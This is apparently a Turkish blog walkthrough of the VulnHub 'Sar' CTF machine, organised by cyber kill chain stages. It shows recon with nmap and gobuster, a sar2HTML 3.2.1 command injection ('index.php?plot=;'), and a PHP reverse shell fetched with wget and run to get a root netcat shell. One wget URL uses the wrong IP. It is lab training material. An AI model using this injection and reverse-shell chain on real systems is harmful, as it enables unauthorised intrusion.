İçindekiler Tablosu
Genel Bakış
Herkese Merhaba, bugünkü yazımda VulnHub sitesinde bulunan Sar makinesini bir siber saldırgan gözüyle çözmeye çalışacağım. Bu makinenin çözümünü yaparken “cyber kill chain” adımlarına dikkat ederek ilerleyeceğim.
Saldırıya başlamadan önce bizlere lazım olacak şeylerden bahsedeyim. Kendi laboratuvar ortamıma kurmuş olduğum Kali Linux makinesi ve Sar zafiyetli makinesini kurup aynı ağa almamız gerekmektedir. Kali Linux ve Sar makinelerini aynı ağa almak için ben VMware sanallaştırma ortamında yeni bir ağ bağdaştırıcısı oluşturarak (Custom VMnet 10 (NAT)) Kali Linux makinemi ve Sar makinelerini bu ağa aldım.

Kali Linux makinemizi ve Sar makinemizi aynı ağa aldıktan sonra, her iki makinemizi de başlatabiliriz. Kali Linux makinemizi başlattıktan sonra almış olduğu IP adresini görüntülemek için, ifconfig
komutunu kullanabiliriz.

Kali Linux makinemizin IP adresi 192.168.159.133 olarak görüntüleyebildim. Zafiyetli makinemiz de aynı ağda bulunduğundan, IP adresini tespit etmek bizim için önemli bir bilgidir.
İp adresimizi de keşfettiğimize göre şimdi cyber kill chain adımları ile zafiyetli makinemizi hacklemeye başlayabiliriz.
Keşif (Reconnaissance) Aşaması
Cyber Kill Chain modelinin ilk adımı Keşif (Reconnaissance), saldırganların hedef hakkında bilgi topladığı aşamadır. Bu süreçte saldırganlar, hedef sistemin zayıf noktalarını belirlemek için açık kaynak istihbaratı (OSINT), pasif bilgi toplama ve aktif taramalar gibi yöntemler kullanır. Alan adı kayıtları, çalışan bilgileri, sosyal mühendislik teknikleri, açık portlar ve zafiyetli servisler bu aşamada araştırılan unsurlardır. Saldırganlar, elde ettikleri bilgileri sonraki adımlarda kullanarak hedefe sızma planlarını şekillendirir.
Nmap ile Keşif Aşaması
Bizde makinemizin açık portlarını ve çalışan servislerini tespit etmek için nmap aracını kullanacağız. Nmap aracında bizimle aynı ağda bulunan host cihazlarını tespit etmek için nmap -sn 192.168.159.0/24 -T5
komutu ile Kali Linux makinemizle aynı ağda bulunan host cihazlarını görüntüleyebiliriz.

Nmap sonucuna göre zafiyetli Sar makinesinin 192.168.159.134 ip adresini almış olduğunu tespit ettik. Makinemiz üzerinde çalışan diğer servisleri ve açık portları daha detaylı görmek için, nmap -sS -sV -O 192.168.159.134 -T5
komutunu kullanacağım. Bu komut, zafiyetli makinemizdeki açık portları, bu portların versiyonlarını ve işletim sistemi bilgilerini erişmemizi sağlar.

Web Sunucusu Üzerinden Keşif Aşaması
Hedef sistem üzerinde yalnızca 80/tcp portu açık olarak gözüküyor. Bu portun versiyon bilgisi ise Apache httpd 2.4.29 olarak görebiliyoruz. Hedefte sadece 80 http portu açık olduğu için web tarayıcısı üzerinden bu adrese giderek web sitesini incelemeye başladım.

Zafiyetli makinenin web sitesine web tarayıcısı üzerinden http://192.168.159.134 ip adresini girerek ulaştığımda sitenin ubuntu tabanlı bir Apache2 sunucusu olduğunu görebiliyoruz. Web sitesi hakkında daha detaylı bilgiler elde etmek ve site üzerinde çalışan alt başlıkları görmek için GoBuster aracı ile siteye brute force saldırısı ile dizin taraması yapamaya karar verdim.
GoBuster Aracı ile Keşif Aşaması
GoBuster, dizin, dosya ve alt alan adı keşfi için kullanılan kaba kuvvet tarayıcı aracıdır. Web uygulamalarındaki gizli dizinleri ve dosyaları tespit etmek amacıyla kullanır. HTTP(S) ve DNS taramaları destekler. Komut satırında çalışır ve büyük wordlist dosyalarıyla etkili sonuçlar sağlar.
GoBuster aracı ile web sitesine brute force saldırısı başlatıp, web sitesinin altında çalışan diğer sayfaları görmek için gobuster dir –u (site URL’si) –w (saldırıda kullanılacak wordlist dosyasının dizin yolu) parametresi ile brute force saldırısına başlayıp dönen yanıtlar üzerinden site üzerinde diğer hangi alt sayfaların çalıştığını görebiliriz.

Görüldüğü gibi, site üzerinde /.htpasswd
, /.htaccess
, /.hta
, /server-status
başlıkları HTTP 403 hatası vermektedir. Bu, istenen kaynağa erişimin yasak olduğunu gösterir. /index.html, /robots.txt ve /phpinfo.php alt başlıklarında ise sunucu 200 OK durum kodunu döndürmüştür. Bu genellikle istemcinin isteğinin başarılı olduğu ve sunucunun yanıt gövdesinde istenen içeriği döndürdüğü anlamına gelir.
Http 200 durum kodlu 3 farklı alt alana girip incelediğimde /index.htlm ve /phpinfo.php dizinlerinde pek bir sonuç bulamazken /robots.txt dosyası içerisinde sar2HTML gibi gizli bir mesaj buldum.

Bu mesaj kodu ile ne yapacağımı çok anlamlandıramasam da http://192.168.159.134/sar2HTML araması sonucu ilginç bir web sitesi ekranı ile karşılaştım. Sol üst köşede yer alan sar2html Ver 3.2.1 versiyonlu komutu internette exploit olarak aratarak web sitesi üzerinde herhangi bir açık bulup bulamayacağımı araştırdım.

Exploit.db Üzerinden Zafiyet Keşfi Aşaması
Exploit.db sitesinde tam da aradığım versiyon hakkında bir exploit bulunmaktaydı. Bu platform, güvenlik araştırmacıları ve sızma testi uzmanları için önemli bir kaynaktır. İçeriğinde, çeşitli sistem ve yazılımlara yönelik açık kaynaklı istismar (exploit) kodları yer almaktadır.

Bu exploite göre arama çubuğu üzerinden kullanabileceğim exploit şu şekildedir: http://<ipadrr>/index.php?plot=;
komutundan sonra web sitesi üzerinde her hangi bir komut çalıştırabiliyor olduğumu görüntüledim.
Exploit’in çalışıp çalışmadığını test etmek için verilen komutun ardından cat /etc/passwd
komutunu çalıştırdım ve bu komut, sistemdeki kullanıcıların parolalarını hashlenmiş şekilde görüntülememe olanak sağladı.

Daha kolay bir yol düşünüp sistem üzerinden reverse shell alarak sistemden terminal ekranı almayı deneyeceğim. Reverse shell, saldırganın, hedef sistemin bir bağlantı başlatmasını sağlayarak kontrolü ele geçirdiği bir kabuktur. Hedef makine, saldırgana bağlanarak komutların uzaktan çalıştırılmasına izin verir. Keşif aşamamız bu nokta itibariyle tamamlandı. Şimdi sırada ikinci aşama olan Silahlanma (Weaponization) aşamasına geçelim.
Silahlanma (Weaponization) Aşaması
Bu aşamada saldırganlar, keşif sürecinde topladıkları bilgileri kullanarak hedef sistemleri istismar etmek için zararlı yazılımlar veya saldırı araçları hazırlar. Genellikle, bir istismar kodu (exploit) ile bir yükü (payload) birleştirerek çalışır hale getirirler.
Zafiyetli makineye sızmak için silahlanma aşamasında Kali Linux makinemizde hazır bulunan bir php-reverse-shell.php dosyasını kullanabiliriz.
Bu dosya hazırlanmış bir reverse shell dosyasıdır yani eğer bu dosyayı hedef gönderir ve hedef üzerinde bu dosyayı çalıştırabilirsek bu dosyanın içeriğinde bulunan komutlar bize hedefin kabuk erişimini verecektir. Dosya üzerinde birkaç alanda değişiklik yaparak php-reverse-shell.php dosyasını kullanabiliriz. Bu alanlar ip adresi ve dinlemek istediğimiz port numarasıdır.
/usr/share/webshell dizini altında bulunan php-reverse-shell.php dosyasını nano
komutu ile açarak dinlemek istediğimiz portu ben 1234 ve zafiyetli makineden isteği kendi makineme göndereceğim için ip adresini kendi ip adresim olan 192.168.159.133 ip adresi olarak ayarladım.

Silahlanma aşamasında zararlı php dosyamızı oluşturup, bu dosyayı kendimize göre özelleştirdiğimize göre üçüncü aşama olan İletme (Delivery) aşamasına geçebiliriz.
İletme (Delivery) Aşaması
Bu aşamada saldırgan, önceki aşamada hazırladığı zararlı yazılımı veya istismar aracını hedef sisteme ulaştırır. Teslimat yöntemi olarak e-posta ekleri (phishing), kötü amaçlı bağlantılar, USB bellekler, zararlı web siteleri veya sömürülen ağ servisleri gibi çeşitli vektörler kullanılabilir. Başarılı bir teslimat, saldırının bir sonraki aşamaya geçmesini sağlar.
Biz bu aşamada reverse shell tekniği ile hedeften bir bağlantı isteği alacağımız için netcat aracını ve basit bir http sunucusunu kullanacağız.
NetCat Üzerinden Dinlenecek Portu Oluşturma
Netcat (nc), ağ bağlantılarını oluşturmak, dinlemek ve analiz etmek için kullanılan çok yönlü bir ağ aracıdır. TCP, UDP protokolleriyle çalışabilir ve veri transferi, port tarama, bind/reverse shell bağlantıları gibi işlevler sağlar. Güvenlik testleri, hata ayıklama ve ağ iletişimi için yaygın olarak kullanılır. Hafif, hızlı ve komut satırından çalıştırılabilir bir yapıya sahiptir.
NetCat aracı ile daha önceden hazırlamış olduğumuz reverse shell dosyasındaki 1234 numaralı portu dinlemeye başladım. Hedef makine üzerinden bu portta herhangi bir işlem olması sonucu kabuk erişimi alacağız.

Basit Bir Http Sunucusu Ayağa Kaldırma
Bir diğer yandan ise Kali Linux makinem üzerinden basit bir http sunucusu ayağa kaldırarak Kali Linux makinemde olan php-reverse-shell.php dosyasını hedef sisteme yüklemek için python modüllerinden http.serverı ayağa kaldırıp 9000 numaralı portu bu işe atamasını yapıyorum.

Az önce Exploit-DB üzerinden görüntülediğimiz zafiyeti, hedef sisteme zararlı bir PHP dosyası yüklemek için kullanalım. Bunun için ;
işaretinden sonra, kendi makinemizde 9000 numaralı portta çalışan HTTP sunucusunu kullanarak hedefe yeni bir dosya yükleyeceğiz. Bu sebeple hedef sistemde wget komutu ile hazırlamış olduğumuz dosyayı zafiyetli sisteme yükleyeceğiz.

Kali Linux makinemizde wget http://192.168.159.134:9000/home/kali/php-reverse-shell.php komutunu çalıştırdık. Bu komutla hazırladığımız zararlı PHP dosyasını hedef sisteme yükledik.
Hedef sisteme yüklemiş olduğumuz zararlı php dosyası sisteme yüklenmiş olup olmadığını kontrol edelim. Bunun için ls
komutu ile sistem üzerinde olan dosyaları görüntüledim.

Görüldüğü üzere zafiyetli sisteme zararlı php dosyamız (php-reverse-shell.php) başarılı bir şekilde yüklenmiş olduk. Bu aşamada yapmamız gereken tek şey web sitesi üzerinden bu zararlı olan php dosyasını çalıştırmaktır. NetCat aracı ile dinlemiş olduğumuz 1234 numaralı porttan bize kabuk erişimi vermesini sağlamak olacaktır.
Sömürme (Exploitation) Aşaması
Bu aşamada saldırgan, teslim edilen zararlı yazılımı veya istismar kodunu çalıştırır. Böylece hedef sistemin güvenlik açıklarından faydalanır. Sömürü (exploitation) işlemi, yazılım veya sistem zafiyetinden yararlanarak kontrol sağlamayı içerir.
NetCat aracı ile dinlemekte olduğumuz 1234 numaralı porttan bize kabuk izni vermesi için yüklediğimiz bu php dosyasını çalıştırmamız gerekmektedir. Bunun içinde ;’den sonra arama çubuğuna php php-reverse-shell.php
komutu ile php dosyasını hedef sistemde çalıştırabiliriz.

php php-reverse-shell.php
komutunu çalıştırdığımız zaman dinlemiş olduğumuz netcat aracının 1234 numaralı portu ile hedef makineden bir kabuk izni almış olduk.

Kurulum (Installation) Aşaması
Bu aşamada saldırgan, hedef sisteme sızdıktan sonra kalıcılık sağlamak amacıyla zararlı yazılımını sisteme kurar. Kurulum genellikle arka kapılar (backdoor), rootkitler veya sistem servislerine eklenen zararlı kodlar aracılığıyla gerçekleştirilir. Saldırgan, bu sayede sisteme tekrar erişim sağlayabilir ve tespit edilmeden varlığını sürdürebilir.
Bizim zafiyetli makinemiz kendi lokal ağımızda olduğu için herhangi bir backdoor kurulumu yapmayacağız.
Komuta ve Kontrol (Command and Control) (C2) Aşaması
Sisteme yerleşmiş olan zararlı yazılımın çalışma, uzaktan kontrol edilme ve sistemin ele geçirildiği aşamadır. Biz herhangi bir backdoor uygulaması yüklemediğimiz için bu aşamayı da geçebiliriz.
Eylem (Actions on objectives) Aşaması
Bu aşama, saldırganın kampanyasının amacına ulaşmaya başladığı ve sistemdeki nihai hedefe yönelik eylemleri gerçekleştirdiği aşamadır. Saldırganlar, burada veri hırsızlığı, fidye yazılımı yükleme, sistemin kontrolünü ele geçirme gibi hedeflere ulaşmaya çalışırlar.
Bizim kullanmış olduğumuz Sar zafiyetli makinesi bir CTF yarışması makinesidir. Bu sebeple /root dizini altında bulunan root.txt dosyasını okumak bizim için yeterli olmaktadır.

Kabuk erişimi elde ettikten sonra alışık olduğumuz terminal ara yüzünü görüntülemek için /bin/bash -i
komutunu kullanabiliriz.
whoami
komutunu ile makinede hangi kullanıcıda olduğumuzu görüntüleyince root kullanıcısında olduğumuzu görüyoruz. Bu da zafiyetli makine üzerinde herhangi bir yetki yükseltme işlemine gerek olmadığını bize belirtir.
Son aşama olarak cd /root dizini altında bulunan root.txt dosyasını cat
komutu ile okutuyoruz. Çıkan çıktıyı (66f93d6b2ca96c9ad78a8a9ba0008e99) CTF yarışmasında ilgili alana yapıştırarak makineyi tamamlayabiliriz.
Bu yazımda cyber kill chain adımlarını kullanarak Sar zafiyetli makinesinin çözümünden bahsettim.
Bir sonraki yazılarımda görüşmek üzere.
Linkedin hesabıma buradan ulaşıp sormak istediğiniz herhangi bir sorunuz varsa bana ulaşabilirsiniz.
Leave a Comment